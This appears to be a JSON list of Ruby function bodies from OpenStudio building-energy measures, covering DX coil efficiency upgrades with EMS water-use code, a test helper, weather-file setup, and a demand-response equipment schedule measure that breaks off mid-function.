runner.registerInfo(\"DX coil: #{coil_name} Final High COP: #{dx.getDouble(4).get}, Final Low COP: #{dx.getDouble(16).get}\")\n dx_name[:dxname] = \"#{coil_name}\"\n results[\"#{coil_name}\"] = dx_name\n end\n \n if results.empty?\n runner.registerWarning(\"No DX coils are appropriate for this measure\")\n runner.registerAsNotApplicable(\"No DX coils are appropriate for this measure\")\n end\n \n #save airloop parsing results to ems_results.json\n runner.registerInfo(\"Saving ems_results.json\")\n FileUtils.mkdir_p(File.dirname(\"ems_results.json\")) unless Dir.exist?(File.dirname(\"ems_results.json\"))\n File.open(\"ems_results.json\", 'w') {|f| f << JSON.pretty_generate(results)}\n \n if results.empty?\n runner.registerWarning(\"No DX coils are appropriate for this measure\")\n runner.registerAsNotApplicable(\"No DX coils are appropriate for this measure\")\n #save blank ems_membrane_heat_pump_cooling_only.ems file so Eplus measure does not crash\n ems_string = \"\"\n runner.registerInfo(\"Saving blank ems_membrane_heat_pump_cooling_only file\")\n FileUtils.mkdir_p(File.dirname(\"ems_membrane_heat_pump_cooling_only.ems\")) unless Dir.exist?(File.dirname(\"ems_membrane_heat_pump_cooling_only.ems\"))\n File.open(\"ems_membrane_heat_pump_cooling_only.ems\", \"w\") do |f|\n f.write(ems_string)\n end\n return true\n end\n \n timeStep = model.getTimestep.numberOfTimestepsPerHour\n \n runner.registerInfo(\"Making EMS string for Membrane Heat Pump Cooling Only\")\n #start making the EMS code\n ems_string = \"\" #clear out the ems_string\n ems_string << \"\\n\" \n ems_string << \"Output:Variable,*,Cooling Coil Sensible Cooling Energy,timestep; !- HVAC Sum [J]\" + \"\\n\"\n ems_string << \"\\n\" \n \n results.each_with_index do |(key, value), i| \n ems_string << \"EnergyManagementSystem:Sensor,\" + \"\\n\"\n ems_string << \" MembraneHP#{i+1}SensibleClgJ,\" + \"\\n\"\n ems_string << \" #{value[:dxname]},\" + \"\\n\"\n ems_string << \" Cooling Coil Sensible Cooling Energy;\" + \"\\n\"\n ems_string << \"\\n\" \n ems_string << \"WaterUse:Equipment,\" + \"\\n\"\n ems_string << \" MembraneHP#{i+1}WaterUse, !- Name\" + \"\\n\"\n ems_string << \" Membrane HP Cooling, !- End-Use Subcategory\" + \"\\n\"\n ems_string << \" 0.003155, !- Peak Flow Rate {m3/s} = 3000 gal/hr\" + \"\\n\"\n ems_string << \" MembraneHP#{i+1}WaterUseSchedule; !- Flow Rate Fraction Schedule Name\" + \"\\n\"\n ems_string << \"\\n\" \n ems_string << \"Schedule:Constant,\" + \"\\n\"\n ems_string << \" MembraneHP#{i+1}WaterUseSchedule, !- Name\" + \"\\n\"\n ems_string << \" , !- Schedule Type Limits Name\" + \"\\n\"\n ems_string << \" 1; !- Hourly Value\" + \"\\n\"\n ems_string << \"\\n\" \n ems_string << \"EnergyManagementSystem:Actuator,\" + \"\\n\"\n ems_string << \" MembraneHP#{i+1}WaterUseCtrl,\" + \"\\n\"\n ems_string << \" MembraneHP#{i+1}WaterUseSchedule,\" + \"\\n\"\n ems_string << \" Schedule:Constant,\" + \"\\n\"\n ems_string << \" Schedule Value;\" + \"\\n\"\n ems_string << \"\\n\" \n end\n ems_string << \"EnergyManagementSystem:ProgramCallingManager,\" + \"\\n\"\n ems_string << \" MembraneHPWaterUseProgramControl, !- Name\" + \"\\n\"\n ems_string << \" AfterPredictorBeforeHVACManagers, !- EnergyPlus Model Calling Point\" + \"\\n\"\n ems_string << \" MembraneHPWaterUseProgram; !- Program Name 1\" + \"\\n\"\n ems_string << \"\\n\"\n ems_string << \"EnergyManagementSystem:Program,\" + \"\\n\"\n ems_string << \" MembraneHPWaterUseProgram, !- Name\" + \"\\n\"\n ems_string << \" SET TimeStepsPerHr = #{timeStep}\" + \"\\n\"\n results.each_with_index do |(key, value), i|\n ems_string << \" SET MembraneHP#{i+1}SensibleClgTonHr = MembraneHP#{i+1}SensibleClgJ * 0.0000007898,\" + \"\\n\"\n ems_string << \" SET MembraneHP#{i+1}SensibleWtrGal = MembraneHP#{i+1}SensibleClgTonHr * 3.0,\" + \"\\n\"\n ems_string << \" SET MembraneHP#{i+1}SensibleWtrGalPerHr = MembraneHP#{i+1}SensibleWtrGal * TimeStepsPerHr,\" + \"\\n\"\n ems_string << \" SET MembraneHP#{i+1}WaterUseCtrl = MembraneHP#{i+1}SensibleWtrGalPerHr / 3000.0,\" + \"\\n\"\n end \n ems_string << \" SET UnusedLine = 0;\" + \"\\n\"\n \n #save EMS snippet\n runner.registerInfo(\"Saving ems_membrane_heat_pump_cooling_only file\")\n FileUtils.mkdir_p(File.dirname(\"ems_membrane_heat_pump_cooling_only.ems\")) unless Dir.exist?(File.dirname(\"ems_membrane_heat_pump_cooling_only.ems\"))\n File.open(\"ems_membrane_heat_pump_cooling_only.ems\", \"w\") do |f|\n f.write(ems_string)\n end\n \n #unique initial conditions based on\n runner.registerInitialCondition(\"The building has #{results.size} DX coils for which this measure is applicable.\")\n\n #reporting final condition of model\n runner.registerFinalCondition(\"The efficiency of the following coils was increased to SEER 26 to reflect the replacement of these coils with membrane heatpumps: #{results.keys}\")\n \n ems_path = '../MembraneHeatPumpCoolingOnly/ems_membrane_heat_pump_cooling_only.ems'\n json_path = '../MembraneHeatPumpCoolingOnly/ems_results.json'\n if File.exist? ems_path\n ems_string = File.read(ems_path)\n if File.exist? json_path\n json = JSON.parse(File.read(json_path))\n end\n else\n ems_path2 = Dir.glob('../../**/ems_membrane_heat_pump_cooling_only.ems')\n ems_path1 = ems_path2[0]\n json_path2 = Dir.glob('../../**/ems_results.json')\n json_path1 = json_path2[0]\n if ems_path2.size > 1\n runner.registerWarning(\"more than one ems_membrane_heat_pump_cooling_only.ems file found. Using first one found.\")\n end\n if !ems_path1.nil? \n if File.exist? ems_path1\n ems_string = File.read(ems_path1)\n if File.exist? json_path1\n json = JSON.parse(File.read(json_path1))\n else\n runner.registerError(\"ems_results.json file not located\") \n end \n else\n runner.registerError(\"ems_membrane_heat_pump_cooling_only.ems file not located\")\n end \n else\n runner.registerError(\"ems_membrane_heat_pump_cooling_only.ems file not located\") \n end\n end\n if json.nil?\n runner.registerError(\"ems_results.json file not located\")\n return false\n end\n \n if json.empty?\n runner.registerWarning(\"No DX coils are appropriate for this measure\")\n return true\n end\n \n idf_file = OpenStudio::IdfFile::load(ems_string, 'EnergyPlus'.to_IddFileType).get\n runner.registerInfo(\"Adding EMS code to workspace\")\n workspace.addObjects(idf_file.objects)\n \n return true\n\n end",
"def apply_measure_to_model(test_name, args, model_name = nil, result_value = 'Success', warnings_count = 0, info_count = nil)\n # create an instance of the measure\n measure = ChangeBuildingLocation.new\n\n # create an instance of a runner with OSW\n osw_path = OpenStudio::Path.new(File.dirname(__FILE__) + '/test.osw')\n osw = OpenStudio::WorkflowJSON.load(osw_path).get\n runner = OpenStudio::Measure::OSRunner.new(osw)\n\n # get model\n if model_name.nil?\n # make an empty model\n model = OpenStudio::Model::Model.new\n else\n # load the test model\n translator = OpenStudio::OSVersion::VersionTranslator.new\n path = OpenStudio::Path.new(File.dirname(__FILE__) + '/' + model_name)\n model = translator.loadModel(path)\n assert(!model.empty?)\n model = model.get\n end\n\n # get arguments\n arguments = measure.arguments(model)\n argument_map = OpenStudio::Measure.convertOSArgumentVectorToMap(arguments)\n\n # populate argument with specified hash value if specified\n arguments.each do |arg|\n temp_arg_var = arg.clone\n if args.key?(arg.name)\n assert(temp_arg_var.setValue(args[arg.name]))\n end\n argument_map[arg.name] = temp_arg_var\n end\n\n # temporarily change directory to the run directory and run the measure (because of sizing run)\n start_dir = Dir.pwd\n begin\n unless Dir.exist?(run_dir(test_name))\n Dir.mkdir(run_dir(test_name))\n end\n Dir.chdir(run_dir(test_name))\n\n # run the measure\n measure.run(model, runner, argument_map)\n result = runner.result\n ensure\n Dir.chdir(start_dir)\n\n # delete sizing run dir\n FileUtils.rm_rf(run_dir(test_name))\n end\n\n # show the output\n puts \"measure results for #{test_name}\"\n show_output(result)\n\n # assert that it ran correctly\n if result_value.nil? then result_value = 'Success' end\n assert_equal(result_value, result.value.valueName)\n\n # check count of warning and info messages\n unless info_count.nil? then assert(result.info.size == info_count) end\n unless warnings_count.nil? then assert(result.warnings.size == warnings_count) end\n\n # if 'Fail' passed in make sure at least one error message (while not typical there may be more than one message)\n if result_value == 'Fail' then assert(result.errors.size >= 1) end\n\n # save the model to test output directory\n output_file_path = OpenStudio::Path.new(File.dirname(__FILE__) + \"/output/#{test_name}_test_output.osm\")\n model.save(output_file_path, true)\n end",
"def measure_code(model,runner)\n ################ Start Measure code here ################################\n # Argument will be passed as instance variable. So if your argument was height, your can access it using @height. \n\n # report initial condition\n site = model.getSite\n initial_design_days = model.getDesignDays\n if site.weatherFile.is_initialized\n weather = site.weatherFile.get\n runner.registerInitialCondition(\"The initial weather file path was '#{weather.path.get}' and the model had #{initial_design_days.size} design days.\")\n else\n runner.registerInitialCondition(\"The initial weather file has not been set and the model had #{initial_design_days.size} design days.\")\n end\n\n\n #Check form weather directory Weather File\n unless (Pathname.new @weather_directory).absolute?\n @weather_directory = File.expand_path(File.join(File.dirname(__FILE__), @weather_directory))\n end\n weather_file = File.join(@weather_directory, @weather_file_name)\n if File.exists?(weather_file) and @weather_file_name.downcase.include? \".epw\"\n BTAP::runner_register(\"Info\", \"The epw weather file #{weather_file} was found!\", runner)\n else\n BTAP::runner_register(\"Error\",\"'#{weather_file}' does not exist or is not an .epw file.\", runner)\n return false\n end\n\n begin\n weather = BTAP::Environment::WeatherFile.new(weather_file)\n #Set Weather file to model.\n weather.set_weather_file(model)\n #Store information about this run in the runner for output. This will be in the csv and R dumps.\n runner.registerValue( 'city',weather.city )\n runner.registerValue( 'state_province_region ',weather.state_province_region )\n runner.registerValue( 'country',weather.country )\n runner.registerValue( 'hdd18',weather.hdd18 )\n runner.registerValue( 'cdd18',weather.cdd18 )\n runner.registerValue( 'necb_climate_zone',BTAP::Compliance::NECB2011::get_climate_zone_name(weather.hdd18).to_s)\n runner.registerFinalCondition( \"Model ended with weatherfile of #{model.getSite.weatherFile.get.path.get}\" )\n rescue\n BTAP::runner_register(\"Error\",\"'#{weather_file}' could not be loaded into model.\", runner)\n\n return false\n end\n BTAP::runner_register(\"FinalCondition\",\"Weather file set to #{weather_file}\",runner)\n return true\n end",
"def run(workspace, runner, user_arguments)\r\n super(workspace, runner, user_arguments)\r\n\r\n #use the built-in error checking \r\n if not runner.validateUserArguments(arguments(workspace), user_arguments)\r\n return false\r\n end\r\n \r\n run_measure = runner.getIntegerArgumentValue(\"run_measure\",user_arguments)\r\n if run_measure == 0\r\n runner.registerAsNotApplicable(\"Run Measure set to #{run_measure}.\")\r\n return true \r\n end\r\n \r\n require 'json'\r\n \r\n # Get the last openstudio model\r\n model = runner.lastOpenStudioModel\r\n if model.empty?\r\n runner.registerError(\"Could not load last OpenStudio model, cannot apply measure.\")\r\n return false\r\n end\r\n model = model.get\r\n \r\n results = {}\r\n #get all DX coils in model\r\n dx_single = model.getCoilCoolingDXSingleSpeeds \r\n dx_two = model.getCoilCoolingDXTwoSpeeds\r\n \r\n if !dx_single.empty?\r\n dx_single.each do |dx|\r\n dx_name = {}\r\n runner.registerInfo(\"DX coil: #{dx.name.get} Initial COP: #{dx.ratedCOP.get}\")\r\n dx.setRatedCOP(OpenStudio::OptionalDouble.new(7.62))\r\n runner.registerInfo(\"DX coil: #{dx.name.get} Final COP: #{dx.ratedCOP.get}\")\r\n dx_name[:dxname] = \"#{dx.name.get}\"\r\n results[\"#{dx.name.get}\"] = dx_name\r\n end\r\n end\r\n if !dx_two.empty?\r\n dx_two.each do |dx|\r\n dx_name = {}\r\n runner.registerInfo(\"DX coil: #{dx.name.get} Initial High COP: #{dx.ratedHighSpeedCOP.get} Low COP: #{dx.ratedLowSpeedCOP.get}\")\r\n dx.setRatedHighSpeedCOP(7.62)\r\n dx.setRatedLowSpeedCOP(7.62)\r\n runner.registerInfo(\"DX coil: #{dx.name.get} Final High COP: #{dx.ratedHighSpeedCOP.get} Final COP: #{dx.ratedLowSpeedCOP.get}\")\r\n dx_name[:dxname] = \"#{dx.name.get}\"\r\n results[\"#{dx.name.get}\"] = dx_name\r\n end\r\n end\r\n \r\n if results.empty?\r\n runner.registerWarning(\"No DX coils are appropriate for this measure\")\r\n runner.registerAsNotApplicable(\"No DX coils are appropriate for this measure\")\r\n end\r\n \r\n #save airloop parsing results to ems_results.json\r\n runner.registerInfo(\"Saving ems_results.json\")\r\n FileUtils.mkdir_p(File.dirname(\"ems_results.json\")) unless Dir.exist?(File.dirname(\"ems_results.json\"))\r\n File.open(\"ems_results.json\", 'w') {|f| f << JSON.pretty_generate(results)}\r\n \r\n if results.empty?\r\n runner.registerWarning(\"No DX coils are appropriate for this measure\")\r\n runner.registerAsNotApplicable(\"No DX coils are appropriate for this measure\")\r\n #save blank ems_membrane_heat_pump_cooling_only.ems file so Eplus measure does not crash\r\n ems_string = \"\"\r\n runner.registerInfo(\"Saving blank ems_membrane_heat_pump_cooling_only file\")\r\n FileUtils.mkdir_p(File.dirname(\"ems_membrane_heat_pump_cooling_only.ems\")) unless Dir.exist?(File.dirname(\"ems_membrane_heat_pump_cooling_only.ems\"))\r\n File.open(\"ems_membrane_heat_pump_cooling_only.ems\", \"w\") do |f|\r\n f.write(ems_string)\r\n end\r\n return true\r\n end\r\n \r\n timeStep = model.getTimestep.numberOfTimestepsPerHour\r\n \r\n runner.registerInfo(\"Making EMS string for Membrane Heat Pump Cooling Only\")\r\n #start making the EMS code\r\n ems_string = \"\" #clear out the ems_string\r\n ems_string << \"\\n\" \r\n ems_string << \"Output:Variable,*,Cooling Coil Sensible Cooling Energy,timestep; !- HVAC Sum [J]\" + \"\\n\"\r\n ems_string << \"\\n\" \r\n \r\n results.each_with_index do |(key, value), i| \r\n ems_string << \"EnergyManagementSystem:Sensor,\" + \"\\n\"\r\n ems_string << \" MembraneHP#{i+1}SensibleClgJ,\" + \"\\n\"\r\n ems_string << \" #{value[:dxname]},\" + \"\\n\"\r\n ems_string << \" Cooling Coil Sensible Cooling Energy;\" + \"\\n\"\r\n ems_string << \"\\n\" \r\n ems_string << \"WaterUse:Equipment,\" + \"\\n\"\r\n ems_string << \" MembraneHP#{i+1}WaterUse, !- Name\" + \"\\n\"\r\n ems_string << \" Membrane HP Cooling, !- End-Use Subcategory\" + \"\\n\"\r\n ems_string << \" 0.003155, !- Peak Flow Rate {m3/s} = 3000 gal/hr\" + \"\\n\"\r\n ems_string << \" MembraneHP#{i+1}WaterUseSchedule; !- Flow Rate Fraction Schedule Name\" + \"\\n\"\r\n ems_string << \"\\n\" \r\n ems_string << \"Schedule:Constant,\" + \"\\n\"\r\n ems_string << \" MembraneHP#{i+1}WaterUseSchedule, !- Name\" + \"\\n\"\r\n ems_string << \" , !- Schedule Type Limits Name\" + \"\\n\"\r\n ems_string << \" 1; !- Hourly Value\" + \"\\n\"\r\n ems_string << \"\\n\" \r\n ems_string << \"EnergyManagementSystem:Actuator,\" + \"\\n\"\r\n ems_string << \" MembraneHP#{i+1}WaterUseCtrl,\" + \"\\n\"\r\n ems_string << \" MembraneHP#{i+1}WaterUseSchedule,\" + \"\\n\"\r\n ems_string << \" Schedule:Constant,\" + \"\\n\"\r\n ems_string << \" Schedule Value;\" + \"\\n\"\r\n ems_string << \"\\n\" \r\n end\r\n ems_string << \"EnergyManagementSystem:ProgramCallingManager,\" + \"\\n\"\r\n ems_string << \" MembraneHPWaterUseProgramControl, !- Name\" + \"\\n\"\r\n ems_string << \" AfterPredictorBeforeHVACManagers, !- EnergyPlus Model Calling Point\" + \"\\n\"\r\n ems_string << \" MembraneHPWaterUseProgram; !- Program Name 1\" + \"\\n\"\r\n ems_string << \"\\n\"\r\n ems_string << \"EnergyManagementSystem:Program,\" + \"\\n\"\r\n ems_string << \" MembraneHPWaterUseProgram, !- Name\" + \"\\n\"\r\n ems_string << \" SET TimeStepsPerHr = #{timeStep}\" + \"\\n\"\r\n results.each_with_index do |(key, value), i|\r\n ems_string << \" SET MembraneHP#{i+1}SensibleClgTonHr = MembraneHP#{i+1}SensibleClgJ * 0.0000007898,\" + \"\\n\"\r\n ems_string << \" SET MembraneHP#{i+1}SensibleWtrGal = MembraneHP#{i+1}SensibleClgTonHr * 3.0,\" + \"\\n\"\r\n ems_string << \" SET MembraneHP#{i+1}SensibleWtrGalPerHr = MembraneHP#{i+1}SensibleWtrGal * TimeStepsPerHr,\" + \"\\n\"\r\n ems_string << \" SET MembraneHP#{i+1}WaterUseCtrl = MembraneHP#{i+1}SensibleWtrGalPerHr / 3000.0,\" + \"\\n\"\r\n end \r\n ems_string << \" SET UnusedLine = 0;\" + \"\\n\"\r\n \r\n #save EMS snippet\r\n runner.registerInfo(\"Saving ems_membrane_heat_pump_cooling_only file\")\r\n FileUtils.mkdir_p(File.dirname(\"ems_membrane_heat_pump_cooling_only.ems\")) unless Dir.exist?(File.dirname(\"ems_membrane_heat_pump_cooling_only.ems\"))\r\n File.open(\"ems_membrane_heat_pump_cooling_only.ems\", \"w\") do |f|\r\n f.write(ems_string)\r\n end\r\n \r\n #unique initial conditions based on\r\n runner.registerInitialCondition(\"The building has #{results.size} DX coils for which this measure is applicable.\")\r\n\r\n #reporting final condition of model\r\n runner.registerFinalCondition(\"The efficiency of the following coils was increased to SEER 26 to reflect the replacement of these coils with membrane heatpumps: #{results.keys}\")\r\n \r\n ems_path = '../MembraneHeatPumpCoolingOnlyEms/ems_membrane_heat_pump_cooling_only.ems'\r\n json_path = '../MembraneHeatPumpCoolingOnlyEms/ems_results.json'\r\n if File.exist? ems_path\r\n ems_string = File.read(ems_path)\r\n if File.exist? json_path\r\n json = JSON.parse(File.read(json_path))\r\n end\r\n else\r\n ems_path2 = Dir.glob('../../**/ems_membrane_heat_pump_cooling_only.ems')\r\n ems_path1 = ems_path2[0]\r\n json_path2 = Dir.glob('../../**/ems_results.json')\r\n json_path1 = json_path2[0]\r\n if ems_path2.size > 1\r\n runner.registerWarning(\"more than one ems_membrane_heat_pump_cooling_only.ems file found. Using first one found.\")\r\n end\r\n if !ems_path1.nil? \r\n if File.exist? ems_path1\r\n ems_string = File.read(ems_path1)\r\n if File.exist? json_path1\r\n json = JSON.parse(File.read(json_path1))\r\n else\r\n runner.registerError(\"ems_results.json file not located\") \r\n end \r\n else\r\n runner.registerError(\"ems_membrane_heat_pump_cooling_only.ems file not located\")\r\n end \r\n else\r\n runner.registerError(\"ems_membrane_heat_pump_cooling_only.ems file not located\") \r\n end\r\n end\r\n if json.nil?\r\n runner.registerError(\"ems_results.json file not located\")\r\n return false\r\n end\r\n \r\n if json.empty?\r\n runner.registerWarning(\"No DX coils are appropriate for this measure\")\r\n return true\r\n end\r\n \r\n idf_file = OpenStudio::IdfFile::load(ems_string, 'EnergyPlus'.to_IddFileType).get\r\n runner.registerInfo(\"Adding EMS code to workspace\")\r\n workspace.addObjects(idf_file.objects)\r\n \r\n return true\r\n\r\n end",
"def modeler_description\n return 'The measure performs the following functions: (1) IDs all chillers, (2) Locates their performance curves and outputs the data, (3) Adds reporting variables for chiller-related data.'\n end",
"def build_timing; end",
"def measure_gc\n return unless enabled?\n\n @raw_data << { fake: true }\n @total_time += 1.1\n\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # define if the measure should run to a specific time period or whole day\n apply_to_time = true\n\n # assign the user inputs to variables\n object = runner.getOptionalWorkspaceObjectChoiceValue('space_type', user_arguments, model)\n single_space_type = runner.getDoubleArgumentValue('single_space_type', user_arguments)\n occupied_space_type = runner.getDoubleArgumentValue('occupied_space_type', user_arguments)\n unoccupied_space_type = runner.getDoubleArgumentValue('unoccupied_space_type', user_arguments)\n starttime_winter2 = runner.getStringArgumentValue('starttime_winter2', user_arguments)\n endtime_winter2 = runner.getStringArgumentValue('endtime_winter2', user_arguments)\n starttime_winter1 = runner.getStringArgumentValue('starttime_winter1', user_arguments)\n endtime_winter1 = runner.getStringArgumentValue('endtime_winter1', user_arguments)\n starttime_summer = runner.getStringArgumentValue('starttime_summer', user_arguments)\n endtime_summer = runner.getStringArgumentValue('endtime_summer', user_arguments)\n auto_date = runner.getBoolArgumentValue('auto_date', user_arguments)\n alt_periods = runner.getBoolArgumentValue('alt_periods', user_arguments)\n demo_cost_initial_const=false\n\n winter_start_month1 = 1\n winter_end_month1 = 5\n summer_start_month = 6\n summer_end_month = 9\n winter_start_month2 = 10\n winter_end_month2 = 12\n\n######### GET CLIMATE ZONES ################\n if auto_date\n ashraeClimateZone = ''\n #climateZoneNUmber = ''\n climateZones = model.getClimateZones\n climateZones.climateZones.each do |climateZone|\n if climateZone.institution == 'ASHRAE'\n ashraeClimateZone = climateZone.value\n runner.registerInfo(\"Using ASHRAE Climate zone #{ashraeClimateZone}.\")\n end\n end\n\n if ashraeClimateZone == '' # should this be not applicable or error?\n runner.registerError(\"Please assign an ASHRAE Climate Zone to your model using the site tab in the OpenStudio application. The measure can't make AEDG recommendations without this information.\")\n return false # note - for this to work need to check for false in measure.rb and add return false there as well.\n # else\n # climateZoneNumber = ashraeClimateZone.split(//).first\n end\n # #runner.registerInfo(\"CLIMATE ZONE #{ashraeClimateZone}. Right now does not do anything.\")\n # if !['1', '2', '3', '4', '5', '6', '7', '8'].include? climateZoneNumber\n # runner.registerError('ASHRAE climate zone number is not within expected range of 1 to 8.')\n # return false # note - for this to work need to check for false in measure.rb and add return false there as well.\n # end\n\n if alt_periods\n if ashraeClimateZone == '3A'\n starttime_summer = '18:01:00'\n endtime_summer = '21:59:00'\n starttime_winter1 = '17:01:00'\n endtime_winter1 = '20:59:00'\n starttime_winter2 = '17:01:00'\n endtime_winter2 = '20:59:00'\n elsif ashraeClimateZone == '4A'\n starttime_summer = '18:01:00'\n endtime_summer = '21:59:00'\n starttime_winter1 = '17:01:00'\n endtime_winter1 = '20:59:00'\n starttime_winter2 = '17:01:00'\n endtime_winter2 = '20:59:00'\n elsif ashraeClimateZone == '5A'\n starttime_summer = '14:01:00'\n endtime_summer = '17:59:00'\n starttime_winter1 = '18:01:00'\n endtime_winter1 = '21:59:00'\n starttime_winter2 = '18:01:00'\n endtime_winter2 = '21:59:00'\n elsif ashraeClimateZone == '6A'\n starttime_summer = '13:01:00'\n endtime_summer = '16:59:00'\n starttime_winter1 = '17:01:00'\n endtime_winter1 = '20:59:00'\n starttime_winter2 = '17:01:00'\n endtime_winter2 = '20:59:00'\n end\n else\n if ashraeClimateZone == '2A'\n starttime_summer = '17:01:00'\n endtime_summer = '20:59:00'\n starttime_winter1 = '17:01:00'\n endtime_winter1 = '20:59:00'\n starttime_winter2 = '17:01:00'\n endtime_winter2 = '20:59:00'\n elsif ashraeClimateZone == '2B'\n starttime_summer = '17:01:00'\n endtime_summer = '20:59:00'\n starttime_winter1 = '17:01:00'\n endtime_winter1 = '20:59:00'\n starttime_winter2 = '17:01:00'\n endtime_winter2 = '20:59:00'\n elsif ashraeClimateZone == '3A'\n starttime_summer = '19:01:00'\n endtime_summer = '22:59:00'\n starttime_winter1 = '17:01:00'\n endtime_winter1 = '20:59:00'\n starttime_winter2 = '17:01:00'\n endtime_winter2 = '20:59:00'\n elsif ashraeClimateZone == '3B'\n starttime_summer = '18:01:00'\n endtime_summer = '21:59:00'\n starttime_winter1 = '19:01:00'\n endtime_winter1 = '22:59:00'\n starttime_winter2 = '19:01:00'\n endtime_winter2 = '22:59:00'\n elsif ashraeClimateZone == '3C'\n starttime_summer = '19:01:00'\n endtime_summer = '22:59:00'\n starttime_winter1 = '17:01:00'\n endtime_winter1 = '20:59:00'\n starttime_winter2 = '17:01:00'\n endtime_winter2 = '20:59:00'\n elsif ashraeClimateZone == '4A'\n starttime_summer = '12:01:00'\n endtime_summer = '15:59:00'\n starttime_winter1 = '16:01:00'\n endtime_winter1 = '19:59:00'\n starttime_winter2 = '16:01:00'\n endtime_winter2 = '19:59:00'\n elsif ashraeClimateZone == '4B'\n starttime_summer = '17:01:00'\n endtime_summer = '20:59:00'\n starttime_winter1 = '17:01:00'\n endtime_winter1 = '20:59:00'\n starttime_winter2 = '17:01:00'\n endtime_winter2 = '20:59:00'\n elsif ashraeClimateZone == '4C'\n starttime_summer = '17:01:00'\n endtime_summer = '20:59:00'\n starttime_winter1 = '17:01:00'\n endtime_winter1 = '20:59:00'\n starttime_winter2 = '17:01:00'\n endtime_winter2 = '20:59:00'\n elsif ashraeClimateZone == '5A'\n starttime_summer = '20:01:00'\n endtime_summer = '23:59:00'\n starttime_winter1 = '17:01:00'\n endtime_winter1 = '20:59:00'\n starttime_winter2 = '17:01:00'\n endtime_winter2 = '20:59:00'\n elsif ashraeClimateZone == '5B'\n starttime_summer = '17:01:00'\n endtime_summer = '20:59:00'\n starttime_winter1 = '17:01:00'\n endtime_winter1 = '20:59:00'\n starttime_winter2 = '17:01:00'\n endtime_winter2 = '20:59:00'\n elsif ashraeClimateZone == '5C'\n starttime_summer = '17:01:00'\n endtime_summer = '20:59:00'\n starttime_winter1 = '17:01:00'\n endtime_winter1 = '20:59:00'\n starttime_winter2 = '17:01:00'\n endtime_winter2 = '20:59:00'\n elsif ashraeClimateZone == '6A'\n starttime_summer = '16:01:00'\n endtime_summer = '19:59:00'\n starttime_winter1 = '18:01:00'\n endtime_winter1 = '21:59:00'\n starttime_winter2 = '18:01:00'\n endtime_winter2 = '21:59:00'\n elsif ashraeClimateZone == '6B'\n starttime_summer = '17:01:00'\n endtime_summer = '20:59:00'\n starttime_winter1 = '17:01:00'\n endtime_winter1 = '20:59:00'\n starttime_winter2 = '17:01:00'\n endtime_winter2 = '20:59:00'\n elsif ashraeClimateZone == '7A'\n starttime_summer = '16:01:00'\n endtime_summer = '19:59:00'\n starttime_winter1 = '18:01:00'\n endtime_winter1 = '21:59:00'\n starttime_winter2 = '18:01:00'\n endtime_winter2 = '21:59:00'\n end\n end\n end \n\n # check the lighting power reduction percentages and for reasonableness\n if occupied_space_type > 100\n runner.registerError('Please Enter a Value less than or equal to 100 for the Electric Equipment Power Reduction Percentage.')\n return false\n elsif occupied_space_type == 0\n runner.registerInfo('No Electric Equipment power adjustment requested, but some life cycle costs may still be affected.')\n elsif (occupied_space_type < 1) && (occupied_space_type > -1)\n runner.registerWarning(\"A Electric Equipment Power Reduction Percentage of #{occupied_space_type} percent is abnormally low.\")\n elsif occupied_space_type > 90\n runner.registerWarning(\"A Electric Equipment Power Reduction Percentage of #{occupied_space_type} percent is abnormally high.\")\n elsif occupied_space_type < 0\n runner.registerInfo('The requested value for Electric Equipment power reduction percentage was negative. This will result in an increase in Electric Equipment power.')\n end\n\n # check the equipment_power_reduction_percent and for reasonableness\n if unoccupied_space_type > 100\n runner.registerError('Please Enter a Value less than or equal to 100 for the Electric Equipment Power Reduction Percentage.')\n return false\n elsif unoccupied_space_type == 0\n runner.registerInfo('No Electric Equipment power adjustment requested, but some life cycle costs may still be affected.')\n elsif (unoccupied_space_type < 1) && (unoccupied_space_type > -1)\n runner.registerWarning(\"A Electric Equipment Power Reduction Percentage of #{unoccupied_space_type} percent is abnormally low.\")\n elsif unoccupied_space_type > 90\n runner.registerWarning(\"A Electric Equipment Power Reduction Percentage of #{unoccupied_space_type} percent is abnormally high.\")\n elsif unoccupied_space_type < 0\n runner.registerInfo('The requested value for Electric Equipment power reduction percentage was negative. This will result in an increase in Electric Equipment power.')\n end\n\n # check the equipment_power_reduction_percent and for reasonableness\n if single_space_type > 100\n runner.registerError('Please Enter a Value less than or equal to 100 for the Electric Equipment Power Reduction Percentage.')\n return false\n elsif single_space_type == 0\n runner.registerInfo('No Electric Equipment power adjustment requested, but some life cycle costs may still be affected.')\n elsif (single_space_type < 1) && (single_space_type > -1)\n runner.registerWarning(\"A Electric Equipment Power Reduction Percentage of #{single_space_type} percent is abnormally low.\")\n elsif single_space_type > 90\n runner.registerWarning(\"A Electric Equipment Power Reduction Percentage of #{single_space_type} percent is abnormally high.\")\n elsif single_space_type < 0\n runner.registerInfo('The requested value for Electric Equipment power reduction percentage was negative. This will result in an increase in Electric Equipment power.')\n end\n\n # check the time periods for reasonableness\n if (starttime_winter1.to_f > endtime_winter1.to_f) && (starttime_winter2.to_f > endtime_winter2.to_f) && (starttime_summer.to_f > endtime_summer.to_f)\n runner.registerError('The end time should be larger than the start time.')\n return false\n end\n\n # check the space_type for reasonableness\n space_type = nil\n if object.empty?\n handle = runner.getStringArgumentValue('space_type', user_arguments)\n if handle.empty?\n runner.registerError('No space type was chosen.')\n else\n runner.registerError(\"The selected space type with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n end\n return false\n else\n if !object.get.to_SpaceType.empty?\n space_type = object.get.to_SpaceType.get\n elsif !object.get.to_Building.empty?\n apply_to_building = true\n else\n runner.registerError('Script Error - argument not showing up as space type or building.')\n return false\n end\n end\n\n\n ############################################\n\n # assign the time duration when DR strategy is applied, from shift_time1 to shift_time2, only applied when apply_to_time is ture\n shift_time1 = OpenStudio::Time.new(starttime_winter1)\n shift_time2 = OpenStudio::Time.new(endtime_winter1)\n shift_time3 = OpenStudio::Time.new(0, 24, 0, 0)\n shift_time4 = OpenStudio::Time.new(starttime_summer)\n shift_time5 = OpenStudio::Time.new(endtime_summer)\n shift_time6 = OpenStudio::Time.new(starttime_winter2)\n shift_time7 = OpenStudio::Time.new(endtime_winter2)\n \n \n # get space types in model\n if apply_to_building\n space_types = model.getSpaceTypes\n else\n space_types = []\n space_types << space_type # only run on a single space type\n end\n\n # make a hash of old defs and new equipments and luminaire defs\n cloned_equi_defs = {}\n # loop through space types\n space_types.each do |space_type|\n\n equi_set_schs = {}\n if apply_to_building # measure will be applied differently to space types, based on whether the space type is occupied\n if 